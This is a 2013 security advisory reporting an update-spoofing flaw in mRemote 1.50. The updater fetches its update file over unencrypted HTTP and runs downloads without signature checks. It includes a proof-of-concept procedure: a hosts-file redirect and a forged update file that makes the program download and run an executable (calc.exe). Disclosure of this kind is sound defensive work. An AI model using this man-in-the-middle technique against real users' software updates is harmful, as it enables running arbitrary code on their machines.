[waraxe-2013-SA#100] - Update Spoofing Vulnerability in mRemote 1.50
===============================================================================

Author: Janek Vind "waraxe"
Date: 29. March 2013
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-100.html


Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

mRemote is a software solution that will allow you to manage all your remote
control connections in a single place. Currently it supports the RDP, VNC,
SSH2 and Telnet protocols.

http://www.royalts.com/main/home/mRemote.aspx
http://mremote-portable.softpile.com/58492/download/

Vulnerable is version 1.50, other versions not tested.


###############################################################################
1. Update Spoofing Vulnerability
###############################################################################

Current version of mRemote contains security vulnerability in update mechanism,
which can be exploited by malicious people to conduct spoofing attacks.

When checking for updates, mRemote issues GET request over HTTP:


GET /mRemote_Update.txt HTTP/1.1
Host: update.mremote.org
Connection: Keep-Alive


Server response:

HTTP/1.1 200 OK
Content-Length: 284
Content-Type: text/plain
Last-Modified: Wed, 22 Apr 2009 18:29:48 GMT
Accept-Ranges: bytes
ETag: "16cc425178c3c91:1e75"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Thu, 28 Mar 2013 14:03:07 GMT

Version: 1.50
dURL: http://www.mremote.org/wiki/GetFile.aspx?File=Downloads/mRemote_1.50_Setup.exe
clURL: http://update.mRemote.org/mRemote_1.50_ChangeLog.txt
imgURL: http://update.mRemote.org/banners/Banner_vRD09.png
imgURLLink: http://www.visionapp.com/vRD2009-highlights.html


mRemote user can click "Download and Install" button and mRemote
will download and install the update.

Such update mechanism contains two security flaws:

1. Update check is done over unencrypted HTTP channel. Malicious third party
is able to conduct Man-in-the-Middle (MitM) attacks and spoof server response.
In this way it is possible to instruct mRemote to download malicious update.

2. mRemote will execute downloaded update without digital signature
verification.

Testing: tests were done using Windows 7 and Apache webserver. Steps:

1. modify "windows/system32/drivers/etc/hosts" file in order to emulate
DNS spoofing:  127.0.0.1 update.mremote.org

2. create text file "mRemote_Update.txt" to the webserver main directory
with following content:

Version: 1.51
dURL: http://localhost/calc.exe
clURL: http://localhost/mRemote_1.51_ChangeLog.txt
imgURL: http://update.mRemote.org/banners/Banner_vRD09.png
imgURLLink: http://www.visionapp.com/vRD2009-highlights.html


3. create text file "mRemote_1.51_ChangeLog.txt" to the webserver main
directory with following content:

New version 1.51 available!


4. Place "calc_EN.exe" file to the webserver main directory.

5. Open mRemote, it will check for updates automatically.

Response: New version 1.51 available!

6. Press "Download and Install" button. Successful download ends with response:

Download complete! mRemote will now quit and begin with the installation.

7. Press "OK" button and downloaded exe file will be executed.



Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Waraxe forum:  http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Random project: http://albumnow.com/
---------------------------------- [ EOF ] ------------------------------------